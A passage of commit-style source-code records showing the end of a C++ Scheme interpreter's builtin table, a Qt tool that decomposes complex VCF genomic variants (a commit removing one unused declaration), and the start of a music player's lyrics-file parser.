e(head);\n}\n\nvoid whole_macro_and(){\n whole_macro_conditional(true, whole_macro_and_expand);\n}\n \nvoid whole_macro_or(){\n whole_macro_conditional(false, whole_macro_or_expand);\n}\n\nvoid whole_macro_cond(){\n whole_macro_conditional(Lisp_ptr{}, whole_macro_cond_expand);\n}\n\nbool eq_internal(Lisp_ptr a, Lisp_ptr b){\n if(a.tag() != b.tag()) return false;\n\n if(a.tag() == Ptr_tag::boolean){\n return a.get<bool>() == b.get<bool>();\n }else if(a.tag() == Ptr_tag::character){\n \/\/ this can be moved into eqv? in R5RS, but char is contained in Lisp_ptr.\n return a.get<char>() == b.get<char>();\n }else{\n return a.get<void*>() == b.get<void*>();\n }\n}\n\nbool eqv_internal(Lisp_ptr a, Lisp_ptr b){\n if(a.tag() == Ptr_tag::number && b.tag() == Ptr_tag::number){\n return eqv(*a.get<Number*>(), *b.get<Number*>());\n }else{\n return eq_internal(a, b);\n }\n}\n\nvoid eq(){\n auto args = pick_args<2>();\n VM.return_value = Lisp_ptr{eq_internal(args[0], args[1])};\n}\n\nvoid eqv(){\n auto args = pick_args<2>();\n VM.return_value = Lisp_ptr{eqv_internal(args[0], args[1])};\n}\n\nconstexpr struct Entry {\n const char* name;\n const NProcedure func;\n\n constexpr Entry(const char* n, const NProcedure& f)\n : name(n), func(f){}\n} builtin_func[] = {\n \/\/ syntaxes\n {\"quote\", {\n whole_function_quote,\n Calling::whole_function, {1, false}}},\n {\"lambda\", {\n whole_function_lambda,\n Calling::whole_function, {1, true}}},\n {\"if\", {\n whole_function_if,\n Calling::whole_function, {3, false}}},\n {\"set!\", {\n whole_function_set,\n Calling::whole_function, {2, false}}},\n {\"define\", {\n whole_function_define,\n Calling::whole_function, {2, true}}},\n {\"quasiquote\", {\n whole_function_quasiquote,\n Calling::whole_function, {1, false}}},\n {\"begin\", {\n whole_function_begin,\n Calling::whole_function, {1, true}}},\n\n {\"cond\", {\n whole_macro_cond,\n Calling::whole_macro, {1, true}}},\n {\"case\", {\n whole_function_unimplemented,\n Calling::whole_function, {0, true}}},\n {\"and\", {\n whole_macro_and,\n Calling::whole_macro, {0, true}}},\n {\"or\", {\n whole_macro_or,\n Calling::whole_macro, {0, true}}},\n {\"let\", {\n whole_function_let,\n Calling::whole_function, {1, true}}},\n {\"let*\", {\n whole_function_let_star,\n Calling::whole_function, {1, true}}},\n {\"letrec\", {\n whole_function_letrec,\n Calling::whole_function, {1, true}}},\n {\"do\", {\n whole_function_unimplemented,\n Calling::whole_function, {0, true}}},\n {\"delay\", {\n whole_function_unimplemented,\n Calling::whole_function, {0, true}}},\n\n {\"unquote\", {\n whole_function_pass_through,\n Calling::whole_function, {0, true}}},\n {\"unquote-splicing\", {\n whole_function_pass_through,\n Calling::whole_function, {0, true}}},\n {\"else\", {\n whole_function_error,\n Calling::whole_function, {0, false}}},\n {\"=>\", {\n whole_function_error,\n Calling::whole_function, {0, false}}},\n\n \/\/ functions\n {\"+\", {\n plus_2,\n Calling::function, {2, true}}},\n {\"list\", {\n procedure_list,\n Calling::function, {1, true}}},\n {\"list*\", {\n procedure_list_star,\n Calling::function, {1, true}}},\n {\"vector\", {\n procedure_vector, \n Calling::function, {1, true}}},\n {\"boolean?\", {\n type_check_pred<Ptr_tag::boolean>, \n Calling::function, {1, false}}},\n {\"symbol?\", {\n type_check_pred<Ptr_tag::symbol>,\n Calling::function, {1, false}}},\n {\"char?\", {\n type_check_pred<Ptr_tag::character>,\n Calling::function, {1, false}}},\n {\"vector?\", {\n type_check_pred<Ptr_tag::vector>,\n Calling::function, {1, false}}},\n {\"procedure?\", {\n type_check_procedure,\n Calling::function, {1, false}}},\n {\"pair?\", {\n type_check_pair,\n Calling::function, {1, false}}},\n {\"number?\", {\n type_check_pred<Ptr_tag::number>,\n Calling::function, {1, false}}},\n {\"string?\", {\n type_check_pred<Ptr_tag::string>,\n Calling::function, {1, false}}},\n {\"port?\", {\n type_check_pred<Ptr_tag::port>,\n Calling::function, {1, false}}},\n {\"eqv?\", {\n eqv,\n Calling::function, {2, false}}},\n {\"eq?\", {\n eq,\n Calling::function, {2, false}}}\n};\n\n} \/\/namespace\n\nvoid install_builtin(){\n for(auto& e : builtin_func){\n VM.set(intern(VM.symtable, e.name), Lisp_ptr{&e.func});\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include <algorithm>\n#include <cmath>\n#include <vector>\n#include <QFile>\n#include <QRegularExpression>\n#include \"ToolBase.h\"\n#include \"Exceptions.h\"\n#include \"Helper.h\"\n#include \"VcfFile.h\"\n#include \"NeedlemanWunsch.hpp\"\n\nusing namespace std;\n\nclass ConcreteTool: public ToolBase\n{\n\tQ_OBJECT\n\npublic:\n\tConcreteTool(int& argc, char *argv[])\n\t\t: ToolBase(argc, argv)\n\t{\n\t}\n\n\tvirtual void setup()\n\t{\n\t\tsetDescription(\"Breaks complex variants into primitives preserving INFO\/SAMPLE fields.\");\n\t\tsetExtendedDescription(QStringList() << \"Multi-allelic variants are ignored, since we assume they have already been split, e.g. with VcfBreakMulti.\"\n\t\t\t\t\t\t\t\t\t\t\t << \"Complex variants that are decomposed, are flagged with a BBC (before break-complex) info entry.\");\n\t\taddInfile(\"in\", \"Input VCF file. If unset, reads from STDIN.\", true, true);\n\t\taddOutfile(\"out\", \"Output VCF list. If unset, writes to STDOUT.\", true, true);\n\t\taddOutfile(\"stats\", \"Ouptuts statistics. If unset, writes to STDERR.\", true, true);\n\t\taddFlag(\"keep_mnps\", \"Write out MNPs unchanged.\");\n\t\taddFlag(\"no_tag\", \"Skip annotation of decomposed variants with BBC in INFO field.\");\n\n\t\tchangeLog(2018, 11, 30, \"Initial implementation.\");\n\t}\n\n\t\/**\n\t * @brief main\n\t * This program breaks complex variants into several lines. It is inspired by vt's decompose_suballelic and vcflib's vcfallelicprimitives.\n\t * However this program will only deal with complex variants. It will not consinder multi-allelic variants.\n\t * We use the classification procedure as described in the VT wiki here https:\/\/genome.sph.umich.edu\/wiki\/Variant_classification\n\t * Local aligment of variants is done using Needleman-Wunsch as implemented in edlib. See https:\/\/doi.org\/10.1093\/bioinformatics\/btw753\n\t *\/\n\tvirtual void main()\n\t{\n\t\tQString in = getInfile(\"in\");\n\t\tQString out = getOutfile(\"out\");\n\t\tQString stats = getOutfile(\"stats\");\n\t\tbool keep_mnps = getFlag(\"keep_mnps\");\n\t\tbool no_tag = getFlag(\"no_tag\");\n\t\tif(in!=\"\" && in==out)\n\t\t{\n\t\t\tTHROW(ArgumentException, \"Input and output files must be different when streaming!\");\n\t\t}\n\t\tif(stats!=\"\" && stats==out)\n\t\t{\n\t\t\tTHROW(ArgumentException, \"Error and output files must be different when streaming!\");\n\t\t}\n\n\t\tQSharedPointer<QFile> in_p = Helper::openFileForReading(in, true);\n\t\tQSharedPointer<QFile> out_p = Helper::openFileForWriting(out, true);\n\n\t\t\/\/ Statistics\n\t\tbool inserted_info = false;\n\t\tunsigned int number_of_additional_snps = 0;\n\t\tunsigned int number_of_biallelic_block_substitutions = 0;\n\t\tunsigned int number_of_new_variants = 0;\n\t\tunsigned int number_of_variants = 0;\n\n\t\tusing Aligment = tuple<QByteArray, QByteArray, int>; \/\/ Describes an aligment of REF, ALT, OFFSET\n\n\t\twhile(!in_p->atEnd())\n\t\t{\n\t\t\tQByteArray line = in_p->readLine();\n\t\t\t\/\/ Skip empty lines and headers\n\t\t\tif (line.trimmed().isEmpty() || line.startsWith(\"#\"))\n\t\t\t{\n\t\t\t\tout_p->write(line);\n\t\t\t\tif (!inserted_info) \/\/ Insert right after version line\n\t\t\t\t{\n\t\t\t\t\tif (!no_tag) out_p->write(\"##INFO=<ID=BBC,Number=1,Type=String,Description=\\\"Original chr:pos:ref|alt encoding\\\">\\n\");\n\t\t\t\t\tinserted_info = true;\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\n\t\t\t\/\/ Not a header line so increment the variant\n\t\t\t++number_of_variants;\n\n\t\t\tQByteArray ref = VcfFile::getPartByColumn(line, VcfFile::REF).trimmed();\n\t\t\tQByteArray alt = VcfFile::getPartByColumn(line, VcfFile::ALT).trimmed();\n\t\t\tint pos = VcfFile::getPartByColumn(line, VcfFile::POS).trimmed().toInt();\n\n\t\t\t\/\/ Skip alternating allele pairs\n\t\t\tif (alt.contains(\",\"))\n\t\t\t{\n\t\t\t\tout_p->write(line);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tVariantType variant_type = VcfFile::classifyVariant(ref, alt);\n\n\t\t\tif (variant_type != SNP) \/\/ Align with Needleman-Wunsch\n\t\t\t{\n\t\t\t\tauto nw = NeedlemanWunsch<QByteArray>(ref, alt);\n\t\t\t\tnw.compute_matrix();\n\t\t\t\tnw.trace_back();\n\t\t\t\tauto aligment = nw.get_aligments();\n\t\t\t\tauto reference = get<ALIGMENT_REFERENCE>(aligment), query = get<ALIGMENT_QUERY>(aligment);\n\n\t\t\t\t\/\/ Iterate through the reference and compare it with the query\n\t\t\t\tusing AligmentPair = pair<QByteArray, QByteArray>;\n\t\t\t\tvector<Aligment> aligments;\n\n\t\t\t\tif (ref.length() == 1 || alt.length() == 1) \/\/ SNP\n\t\t\t\t{\n\t\t\t\t\taligments.push_back(Aligment(query.replace(\"-\", \"\"), reference.replace(\"-\", \"\"), 0));\n\t\t\t\t\t++number_of_additional_snps;\n\t\t\t\t}\n\t\t\t\telse \/\/ MNP or CLUMPED\n\t\t\t\t{\n\t\t\t\t\tif (keep_mnps) \/\/ Keep more complex variants\n\t\t\t\t\t{\n\t\t\t\t\t\tout_p->write(line);\n\t\t\t\t\t}\n\t\t\t\t\telse \/\/ Break up clumped variants\n\t\t\t\t\t{\n\t\t\t\t\t\twhile (query.startsWith(\"-\")) \/\/ Kill leading gaps\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tquery = query.remove(0, 1);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor (auto i = 0; i < query.size(); ++i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (i + 1 < query.size() && query.at(i + 1) == '-') \/\/ transition from REF,- to ALT\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tint gap_start = static_cast<int> (i + 1);\n\t\t\t\t\t\t\t\tint gap_end = gap_start;\n\t\t\t\t\t\t\t\twhile ((i + 1) < query.size() && query.at(i + 1) == '-')\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\t\t\tgap_end++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\taligments.push_back(Aligment(query.mid(gap_start - 1, 1), reference.mid(gap_start - 1, gap_end).replace(\"-\", \"\"), gap_start));\n\t\t\t\t\t\t\t\t++number_of_biallelic_block_substitutions; \/\/ new biallelic block substitutios\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if (i + 1 < reference.size() && reference.at(i + 1) == '-') \/\/ do the same for the reference\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tint gap_start = static_cast<int> (i +1);\n\t\t\t\t\t\t\t\tint gap_end = gap_start;\n\t\t\t\t\t\t\t\twhile ((i + 1) < reference.size() && reference.at(i + 1) == '-')\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\t\t\t++gap_end;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\taligments.push_back(Aligment(query.mid(gap_start - 1, 2), reference.mid(gap_start - 1, gap_end).replace(\"-\", \"\"), gap_start));\n\t\t\t\t\t\t\t\t++number_of_biallelic_block_substitutions; \/\/ new biallelic block substitutios\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if (reference.at(i) == '-') {\n\t\t\t\t\t\t\t\tint gap_start = static_cast<int> (i);\n\t\t\t\t\t\t\t\tint gap_end = gap_start;\n\t\t\t\t\t\t\t\twhile ((i + 1) < reference.size() && reference.at(i) == '-')\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\t\t\t++gap_end;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\taligments.push_back(Aligment(query.mid(gap_start, gap_end - gap_start), reference.mid(gap_end, 1), gap_start));\n\t\t\t\t\t\t\t\t++number_of_biallelic_block_substitutions;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if (query.at(i) != reference.at(i)) \/\/ transition from REF -> ALT\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\taligments.push_back(Aligment(query.mid(i, 1), reference.mid(i, 1), i));\n\t\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\t\t++number_of_additional_snps;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor (size_t i = 0; i < aligments.size(); ++i) \/\/ write out the new sequences\n\t\t\t\t{\n\t\t\t\t\tif (i > 0) ++number_of_new_variants;\n\t\t\t\t\tauto parts = line.split('\\t');\n\t\t\t\t\t\/\/ Append INFO entry in format BBC=chr:pos:ref:alt\n\t\t\t\t\tif (!no_tag) parts[VcfFile::INFO] = parts[VcfFile::INFO].trimmed() + \";BBC=\" + parts[VcfFile::CHROM] + \":\" + parts[VcfFile::POS] + \":\" + parts[VcfFile::REF] + \"|\" + parts[VcfFile::ALT];\n\n\t\t\t\t\t\/\/ Modify alt and ref with new aligments\n\t\t\t\t\tparts[VcfFile::REF] = get<0>(aligments[i]);\n\t\t\t\t\tparts[VcfFile::ALT] = get<1>(aligments[i]);\n\t\t\t\t\tparts[VcfFile::POS] = QByteArray::number(pos + get<2>(aligments[i]));\n\n\t\t\t\t\t\/\/ Write to output\n\t\t\t\t\tout_p->write(parts.join(\"\\t\"));\n\n\t\t\t\t}\n\t\t\t}\n\t\t\telse \/\/ We don't look at SNP's\n\t\t\t{\n\t\t\t\tout_p->write(line);\n\t\t\t}\n\t\t}\n\n\t\t\/\/ After processing print statistics to error stream\n\t\tQSharedPointer<QFile> stats_p = QSharedPointer<QFile>(new QFile(stats));\n\t\tstats_p->open(stderr, QFile::WriteOnly | QIODevice::Text);\n\t\tdouble new_variants_in_percent = (number_of_variants>0) ? 100.0 * number_of_new_variants \/ number_of_variants : 0.0;\n\t\tstats_p->write(QByteArray(\"Processed \") + QByteArray::number(number_of_variants) + \" variant(s) of which \" + QByteArray::number(number_of_new_variants) + \" (\" + QByteArray::number(new_variants_in_percent, 'f', 2) + \"%) were decomposed.\\n\");\n\t\tstats_p->write(QByteArray::number(number_of_additional_snps - number_of_new_variants) + \" of these are additional SNPs and \" + QByteArray::number(number_of_biallelic_block_substitutions - number_of_variants) + \" of these are biallelic substitutions.\\n\");\n\t}\n};\n\n#include \"main.moc\"\n\nint main(int argc, char *argv[])\n{\n\tConcreteTool tool(argc, argv);\n\treturn tool.execute();\n}\n<commit_msg>[vcfbreakcomplex] Remove unneeded declaration<commit_after>#include <algorithm>\n#include <cmath>\n#include <vector>\n#include <QFile>\n#include <QRegularExpression>\n#include \"ToolBase.h\"\n#include \"Exceptions.h\"\n#include \"Helper.h\"\n#include \"VcfFile.h\"\n#include \"NeedlemanWunsch.hpp\"\n\nusing namespace std;\n\nclass ConcreteTool: public ToolBase\n{\n\tQ_OBJECT\n\npublic:\n\tConcreteTool(int& argc, char *argv[])\n\t\t: ToolBase(argc, argv)\n\t{\n\t}\n\n\tvirtual void setup()\n\t{\n\t\tsetDescription(\"Breaks complex variants into primitives preserving INFO\/SAMPLE fields.\");\n\t\tsetExtendedDescription(QStringList() << \"Multi-allelic variants are ignored, since we assume they have already been split, e.g. with VcfBreakMulti.\"\n\t\t\t\t\t\t\t\t\t\t\t << \"Complex variants that are decomposed, are flagged with a BBC (before break-complex) info entry.\");\n\t\taddInfile(\"in\", \"Input VCF file. If unset, reads from STDIN.\", true, true);\n\t\taddOutfile(\"out\", \"Output VCF list. If unset, writes to STDOUT.\", true, true);\n\t\taddOutfile(\"stats\", \"Ouptuts statistics. If unset, writes to STDERR.\", true, true);\n\t\taddFlag(\"keep_mnps\", \"Write out MNPs unchanged.\");\n\t\taddFlag(\"no_tag\", \"Skip annotation of decomposed variants with BBC in INFO field.\");\n\n\t\tchangeLog(2018, 11, 30, \"Initial implementation.\");\n\t}\n\n\t\/**\n\t * @brief main\n\t * This program breaks complex variants into several lines. It is inspired by vt's decompose_suballelic and vcflib's vcfallelicprimitives.\n\t * However this program will only deal with complex variants. It will not consinder multi-allelic variants.\n\t * We use the classification procedure as described in the VT wiki here https:\/\/genome.sph.umich.edu\/wiki\/Variant_classification\n\t * Local aligment of variants is done using Needleman-Wunsch as implemented in edlib. See https:\/\/doi.org\/10.1093\/bioinformatics\/btw753\n\t *\/\n\tvirtual void main()\n\t{\n\t\tQString in = getInfile(\"in\");\n\t\tQString out = getOutfile(\"out\");\n\t\tQString stats = getOutfile(\"stats\");\n\t\tbool keep_mnps = getFlag(\"keep_mnps\");\n\t\tbool no_tag = getFlag(\"no_tag\");\n\t\tif(in!=\"\" && in==out)\n\t\t{\n\t\t\tTHROW(ArgumentException, \"Input and output files must be different when streaming!\");\n\t\t}\n\t\tif(stats!=\"\" && stats==out)\n\t\t{\n\t\t\tTHROW(ArgumentException, \"Error and output files must be different when streaming!\");\n\t\t}\n\n\t\tQSharedPointer<QFile> in_p = Helper::openFileForReading(in, true);\n\t\tQSharedPointer<QFile> out_p = Helper::openFileForWriting(out, true);\n\n\t\t\/\/ Statistics\n\t\tbool inserted_info = false;\n\t\tunsigned int number_of_additional_snps = 0;\n\t\tunsigned int number_of_biallelic_block_substitutions = 0;\n\t\tunsigned int number_of_new_variants = 0;\n\t\tunsigned int number_of_variants = 0;\n\n\t\tusing Aligment = tuple<QByteArray, QByteArray, int>; \/\/ Describes an aligment of REF, ALT, OFFSET\n\n\t\twhile(!in_p->atEnd())\n\t\t{\n\t\t\tQByteArray line = in_p->readLine();\n\t\t\t\/\/ Skip empty lines and headers\n\t\t\tif (line.trimmed().isEmpty() || line.startsWith(\"#\"))\n\t\t\t{\n\t\t\t\tout_p->write(line);\n\t\t\t\tif (!inserted_info) \/\/ Insert right after version line\n\t\t\t\t{\n\t\t\t\t\tif (!no_tag) out_p->write(\"##INFO=<ID=BBC,Number=1,Type=String,Description=\\\"Original chr:pos:ref|alt encoding\\\">\\n\");\n\t\t\t\t\tinserted_info = true;\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\n\t\t\t\/\/ Not a header line so increment the variant\n\t\t\t++number_of_variants;\n\n\t\t\tQByteArray ref = VcfFile::getPartByColumn(line, VcfFile::REF).trimmed();\n\t\t\tQByteArray alt = VcfFile::getPartByColumn(line, VcfFile::ALT).trimmed();\n\t\t\tint pos = VcfFile::getPartByColumn(line, VcfFile::POS).trimmed().toInt();\n\n\t\t\t\/\/ Skip alternating allele pairs\n\t\t\tif (alt.contains(\",\"))\n\t\t\t{\n\t\t\t\tout_p->write(line);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tVariantType variant_type = VcfFile::classifyVariant(ref, alt);\n\n\t\t\tif (variant_type != SNP) \/\/ Align with Needleman-Wunsch\n\t\t\t{\n\t\t\t\tauto nw = NeedlemanWunsch<QByteArray>(ref, alt);\n\t\t\t\tnw.compute_matrix();\n\t\t\t\tnw.trace_back();\n\t\t\t\tauto aligment = nw.get_aligments();\n\t\t\t\tauto reference = get<ALIGMENT_REFERENCE>(aligment), query = get<ALIGMENT_QUERY>(aligment);\n\n\t\t\t\t\/\/ Iterate through the reference and compare it with the query\n\t\t\t\tvector<Aligment> aligments;\n\n\t\t\t\tif (ref.length() == 1 || alt.length() == 1) \/\/ SNP\n\t\t\t\t{\n\t\t\t\t\taligments.push_back(Aligment(query.replace(\"-\", \"\"), reference.replace(\"-\", \"\"), 0));\n\t\t\t\t\t++number_of_additional_snps;\n\t\t\t\t}\n\t\t\t\telse \/\/ MNP or CLUMPED\n\t\t\t\t{\n\t\t\t\t\tif (keep_mnps) \/\/ Keep more complex variants\n\t\t\t\t\t{\n\t\t\t\t\t\tout_p->write(line);\n\t\t\t\t\t}\n\t\t\t\t\telse \/\/ Break up clumped variants\n\t\t\t\t\t{\n\t\t\t\t\t\twhile (query.startsWith(\"-\")) \/\/ Kill leading gaps\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tquery = query.remove(0, 1);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor (auto i = 0; i < query.size(); ++i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (i + 1 < query.size() && query.at(i + 1) == '-') \/\/ transition from REF,- to ALT\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tint gap_start = static_cast<int> (i + 1);\n\t\t\t\t\t\t\t\tint gap_end = gap_start;\n\t\t\t\t\t\t\t\twhile ((i + 1) < query.size() && query.at(i + 1) == '-')\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\t\t\tgap_end++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\taligments.push_back(Aligment(query.mid(gap_start - 1, 1), reference.mid(gap_start - 1, gap_end).replace(\"-\", \"\"), gap_start));\n\t\t\t\t\t\t\t\t++number_of_biallelic_block_substitutions; \/\/ new biallelic block substitutios\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if (i + 1 < reference.size() && reference.at(i + 1) == '-') \/\/ do the same for the reference\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tint gap_start = static_cast<int> (i +1);\n\t\t\t\t\t\t\t\tint gap_end = gap_start;\n\t\t\t\t\t\t\t\twhile ((i + 1) < reference.size() && reference.at(i + 1) == '-')\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\t\t\t++gap_end;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\taligments.push_back(Aligment(query.mid(gap_start - 1, 2), reference.mid(gap_start - 1, gap_end).replace(\"-\", \"\"), gap_start));\n\t\t\t\t\t\t\t\t++number_of_biallelic_block_substitutions; \/\/ new biallelic block substitutios\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if (reference.at(i) == '-') {\n\t\t\t\t\t\t\t\tint gap_start = static_cast<int> (i);\n\t\t\t\t\t\t\t\tint gap_end = gap_start;\n\t\t\t\t\t\t\t\twhile ((i + 1) < reference.size() && reference.at(i) == '-')\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\t\t\t++gap_end;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\taligments.push_back(Aligment(query.mid(gap_start, gap_end - gap_start), reference.mid(gap_end, 1), gap_start));\n\t\t\t\t\t\t\t\t++number_of_biallelic_block_substitutions;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if (query.at(i) != reference.at(i)) \/\/ transition from REF -> ALT\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\taligments.push_back(Aligment(query.mid(i, 1), reference.mid(i, 1), i));\n\t\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\t\t++number_of_additional_snps;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor (size_t i = 0; i < aligments.size(); ++i) \/\/ write out the new sequences\n\t\t\t\t{\n\t\t\t\t\tif (i > 0) ++number_of_new_variants;\n\t\t\t\t\tauto parts = line.split('\\t');\n\t\t\t\t\t\/\/ Append INFO entry in format BBC=chr:pos:ref:alt\n\t\t\t\t\tif (!no_tag) parts[VcfFile::INFO] = parts[VcfFile::INFO].trimmed() + \";BBC=\" + parts[VcfFile::CHROM] + \":\" + parts[VcfFile::POS] + \":\" + parts[VcfFile::REF] + \"|\" + parts[VcfFile::ALT];\n\n\t\t\t\t\t\/\/ Modify alt and ref with new aligments\n\t\t\t\t\tparts[VcfFile::REF] = get<0>(aligments[i]);\n\t\t\t\t\tparts[VcfFile::ALT] = get<1>(aligments[i]);\n\t\t\t\t\tparts[VcfFile::POS] = QByteArray::number(pos + get<2>(aligments[i]));\n\n\t\t\t\t\t\/\/ Write to output\n\t\t\t\t\tout_p->write(parts.join(\"\\t\"));\n\n\t\t\t\t}\n\t\t\t}\n\t\t\telse \/\/ We don't look at SNP's\n\t\t\t{\n\t\t\t\tout_p->write(line);\n\t\t\t}\n\t\t}\n\n\t\t\/\/ After processing print statistics to error stream\n\t\tQSharedPointer<QFile> stats_p = QSharedPointer<QFile>(new QFile(stats));\n\t\tstats_p->open(stderr, QFile::WriteOnly | QIODevice::Text);\n\t\tdouble new_variants_in_percent = (number_of_variants>0) ? 100.0 * number_of_new_variants \/ number_of_variants : 0.0;\n\t\tstats_p->write(QByteArray(\"Processed \") + QByteArray::number(number_of_variants) + \" variant(s) of which \" + QByteArray::number(number_of_new_variants) + \" (\" + QByteArray::number(new_variants_in_percent, 'f', 2) + \"%) were decomposed.\\n\");\n\t\tstats_p->write(QByteArray::number(number_of_additional_snps - number_of_new_variants) + \" of these are additional SNPs and \" + QByteArray::number(number_of_biallelic_block_substitutions - number_of_variants) + \" of these are biallelic substitutions.\\n\");\n\t}\n};\n\n#include \"main.moc\"\n\nint main(int argc, char *argv[])\n{\n\tConcreteTool tool(argc, argv);\n\treturn tool.execute();\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"musiclrccontainerforinline.h\"\n#include \"musiclrcmanagerforinline.h\"\n#include \"musiclrcartphotoupload.h\"\n#include \"musiclrcfloatwidget.h\"\n\n#include <QVBoxLayout>\n#include <QSettings>\n#include <QPainter>\n#include <QDesktopServices>\n#include <QClipboard>\n#include <QApplication>\n\nMusicLrcContainerForInline::MusicLrcContainerForInline(QWidget *parent) :\n MusicLrcContainer(parent)\n{\n m_vBoxLayout = new QVBoxLayout(this);\n m_vBoxLayout->setMargin(0);\n\n setLayout(m_vBoxLayout);\n m_containerType = \"INLINE\";\n for(int i=0; i<MIN_LRCCONTAIN_COUNT; ++i)\n {\n MusicLRCManager *w = new MusicLRCManagerForInline(this);\n m_vBoxLayout->addWidget(w);\n m_musicLrcContainer.append(w);\n }\n\n changeCurrentLrcColorOrigin();\n m_currentLrcIndex = 0;\n m_mouseMovedAt = QPoint(-1,-1);\n m_mousePressedAt = QPoint(-1,-1);\n m_mouseLeftPressed = false;\n m_showArtBackground = true;\n m_showInlineLrc = true;\n for(int i=0; i<MIN_LRCCONTAIN_COUNT; ++i)\n m_musicLrcContainer[i]->setText(\".........\");\n m_musicLrcContainer[CURRENT_LRC_PAINT]->setText(tr(\"noCurrentSongPlay\"));\n\n m_lrcFloatWidget = new MusicLrcFloatWidget(this);\n}\n\nMusicLrcContainerForInline::~MusicLrcContainerForInline()\n{\n clearAllMusicLRCManager();\n delete m_vBoxLayout;\n delete m_lrcFloatWidget;\n}\n\nbool MusicLrcContainerForInline::transLrcFileToTime(const QString& lrcFileName)\n{\n static_cast<MusicLRCManagerForInline*>(m_musicLrcContainer[CURRENT_LRC_PAINT])->setUpdateLrc(false);\n m_lrcContainer.clear();\/\/\/Clear the original map\n m_currentShowLrcContainer.clear();\/\/\/Clear the original lrc\n QFile file(m_currentLrcFileName = lrcFileName); \/\/\/Open the lyrics file\n\n for(int i=0; i<MIN_LRCCONTAIN_COUNT; ++i)\n m_musicLrcContainer[i]->setText(\".........\");\n if(!file.open(QIODevice::ReadOnly))\n {\n m_musicLrcContainer[CURRENT_LRC_PAINT]->setText(tr(\"unFoundLrc\"));\n return false;\n }\n else\n m_musicLrcContainer[CURRENT_LRC_PAINT]->setText(tr(\"noCurrentSongPlay\"));\n\n QString getAllText = QString(file.readAll());\n file.close();\n \/\/The lyrics by line into the lyrics list\n QStringList lines = getAllText.split(\"\\n\");\n \/\/This is the time the label format[00:05.54]\n \/\/Regular expressionsd {2} Said matching 2 numbers\n QRegExp reg(\"\\\\[\\\\d{2}:\\\\d{2}\\\\.\\\\d{2}\\\\]\");\n foreach(QString oneLine, lines)\n {\n QString temp = oneLine;\n temp.replace(reg,\"\");\n \/*Replace the regular expression matching in place with the empty\n string, then we get the lyrics text,And then get all the time the\n label in the current row, and separately with lyrics text into QMap\n IndexIn () to return to the first matching position, if the return\n is -1, said no match,Under normal circumstances, POS should be\n followed is corresponding to the lyrics file\n *\/\n int pos = reg.indexIn(oneLine, 0);\n while(pos != -1)\n { \/\/That match\n QString cap = reg.cap(0);\n \/\/Return zeroth expression matching the content\n \/\/The time tag into the time value, in milliseconds\n QRegExp regexp;\n regexp.setPattern(\"\\\\d{2}(?=:)\");\n regexp.indexIn(cap);\n int minute = regexp.cap(0).toInt();\n regexp.setPattern(\"\\\\d{2}(?=\\\\.)\");\n regexp.indexIn(cap);\n int second = regexp.cap(0).toInt();\n regexp.setPattern(\"\\\\d{2}(?=\\\\])\");\n regexp.indexIn(cap);\n int millisecond = regexp.cap(0).toInt();\n qint64 totalTime = minute * 60000 + second * 1000 + millisecond * 10;\n \/\/Insert into lrcContainer\n m_lrcContainer.insert(totalTime, temp);\n pos += reg.matchedLength();\n pos = reg.indexIn(oneLine, pos);\/\/Matching all\n }\n }\n \/\/If the lrcContainer is empty\n if (m_lrcContainer.isEmpty())\n {\n m_musicLrcContainer[CURRENT_LRC_PAINT]->setText(tr(\"lrcFileError\"));\n return false;\n }\n\n m_currentShowLrcContainer.clear();\n m_currentLrcIndex = 0;\n\n for(int i=0; i<MIN_LRCCONTAIN_COUNT\/2; ++i)\n m_currentShowLrcContainer<<\".........\";\n if(m_lrcContainer.find(0) == m_lrcContainer.end())\n m_lrcContainer.insert(0,\".........\");\n\n 